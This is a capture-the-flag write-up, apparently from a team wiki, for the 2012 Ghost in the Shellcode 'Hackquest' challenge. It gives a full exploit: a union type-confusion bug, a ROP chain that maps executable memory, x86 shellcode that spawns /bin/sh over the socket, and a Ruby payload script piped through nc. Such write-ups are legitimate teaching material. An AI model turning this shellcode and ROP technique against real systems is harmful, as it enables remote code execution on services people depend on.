Francois: Created page with "== #3 Hackquest == === Question === Find the key. (File running at hackquest.ghostintheshellcode.com:7331)
Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin.gz|Binary file..."

2012-01-08T15:36:59Z

Created page with "== #3 Hackquest == === Question === Find the key. (File running at hackquest.ghostintheshellcode.com:7331)<br> Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin.gz|Binary file..."

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== #3 Hackquest ==

=== Question ===

Find the key. (File running at hackquest.ghostintheshellcode.com:7331)<br>
Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin.gz|Binary file]]<br>
Hint: [[Media:1f5d7afa5f3765385a9973e1d500bee7.c|Partial source code]]

=== Solution ===

* Remote system running some sort of text adventure.
* Hint dropped source code partially (extremely helpful)
* Hint from irc: look at the items
* struct ItemInfo contains a union:

<syntaxhighlight lang="cpp">
union
{
void* data;
LocationInfo* newLocation;
struct ItemInfo* newItem;
struct
{
ActionInfo* actionInfo;
char* requiredTarget;
} action;
struct
{
char* name;
struct ItemInfo* newItem;
} namedUnwrap;
} info;
</syntaxhighlight>

* magical item:

<syntaxhighlight lang="cpp">
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
</syntaxhighlight>

* use() has an insufficient test:

<syntaxhighlight lang="cpp">
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
(item->type == ITEM_UNWRAP))
{
sendMsg(s, "That item can't have a target.\n");
ok = false;
}
else if (!strcasecmp(item->info.action.requiredTarget, target))
{
sendMsg(s, item->message);
item->info.action.actionInfo->func(s);
showDesc = item->info.action.actionInfo->showDesc;
}
</syntaxhighlight>

* if we "use letter on $target", we can make it call ->func()
* .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
* ->func aliases with .name
* the game asks us for our name, and stores this into a 31 byte static buffer
* whatever we use as name will be used as function address to be called -> we captured control flow
* ROP ensues:
* first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
* then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
* our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
* work around this problem by putting bootstrap shellcode into the static name buffer (see above)
* bootstrap code copies stack-relative buffer to our page, then transfers control:

<syntaxhighlight lang="asm">
leal 0x41(%esp),%esi # calc source from stack offset
popl %edi # dest addr is already on stack
pushl $0x41 # dest offset so that we don't get overwritten
popl %ecx # duplicates as length
addl %ecx,%edi # add offset
push %edi # store dest for later
rep movsl # copy
popl %edi # retrieve old dest
jmp *%edi # jump there
</syntaxhighlight>

* remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:

<syntaxhighlight lang="asm">
pushl %ecx # ecx was cleared by rep above, put 0 on stack
movl 0xAB(%esp),%ebx # get socket fd from stack offset
1:
pushl $0x3f # dup2 syscall number
popl %eax # into eax
int $0x80 # do syscall
inc %ecx # inc desc2
cmp $0x3,%cl # do for 0, 1, 2
jne 1b # repeat

popl %ecx # zero ecx = argv
mull %ecx # zero eax, edx = env
pushl $0x0068732f # /sh\0
pushl $0x6e69622f # /bin
movl %esp,%ebx # string arg
movb $0xb,%al # execve syscall number
int $0x80 # magic!
</syntaxhighlight>

* cat key.txt

* all combined, use as (ruby h.rb; cat) | nc host 7331

<syntaxhighlight lang="ruby">
addr = 0x60606000 # our page address
src = 0x804c2a0 # from 0x80498f4

sockoffset = 0xbc

p = [
# offset 0
"use letter on ",
# offset 14
0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],
# offset 31
" " * (0x44 - 32), # fill
# offset 0x44
0x80486d4, # C mmap
0x8048db5, # L add $0x1c,%esp | ret
addr, # (void *addr,
4096, # size_t len,
1 | 2 | 4, # int prot = PROT_READ | PROT_WRITE | PROT_EXEC,
0x10 | 0x02 | 0x20, # int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, # int filedes,
0, # off_t off)
0, # filler, also possibly offset
0x80487d4, # C memcpy
addr, # L addr = shellcode
addr, # (void *dest,
src + 4, # const void *src,
200, # size_t n).

[
0x51, # pushl %ecx # ecx was cleared by rep above, put 0 on stack
0x8b, 0x9c, 0x24], sockoffset, # movl XXX(%esp),%ebx # get socket fd from stack offset
[0x6a, 0x3f, # 1: pushl $0x3f # dup2 syscall number
0x58, # popl %eax # into eax
0xcd, 0x80, # int $0x80 # do syscall
0x41, # inc %ecx # inc desc2
0x80, 0xf9, 0x03, # cmp $0x3,%cl # do for 0, 1, 2
0x75, 0xf5, # jne 1b # repeat

0x59, # popl %ecx # zero ecx = argv
0xf7, 0xe1, # mull %ecx # zero eax, edx = env
0x68, 0x2f, 0x73, 0x68, 0x00, # pushl 0x0068732f # /sh\0
0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl 0x6e69622f # /bin
0x89, 0xe3, # movl %esp,%ebx # string arg
0xb0, 0x0b, # movb $0xb,%al # execve syscall number
0xcd, 0x80 # int $0x80 # magic!
]
]

shellcode = 0xc

# this lives at src
namelen = 20
name = [
# stack pivot
0x08049019, # add $0x9c,%esp | ret

# bootstrap shellcode
[
0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi
0x5f, # popl %edi
0x6a, namelen, # pushl $XXX
0x59, # popl %ecx
0x01, 0xcf, # addl %ecx,%edi
0x57, # push %edi
0xf3, 0xa5, # rep movsl
0x5f, # popl %edi
0xff, 0xe7, # jmp *%edi
],
]

all = name +
[
"\n",
"get can\n",
"use can\n",
"go south\n",
"get letter\n",
] +
p + ["\n"]

def collapse(a)
a.map do |e|
case e
when Numeric
[e].pack("V")
when Array
e.pack('C*')
else
e.to_s
end
end.join
end

if __FILE__ == $0
cp = collapse(all)
# puts cp.size
print cp
end
</syntaxhighlight>

CTF/gits2012teaser/3-Hackquest - Revision history

Francois: Created page with "== #3 Hackquest == === Question === Find the key. (File running at hackquest.ghostintheshellcode.com:7331) Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin.gz|Binary file..."

Francois: Created page with "== #3 Hackquest == === Question === Find the key. (File running at hackquest.ghostintheshellcode.com:7331)
Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin.gz|Binary file..."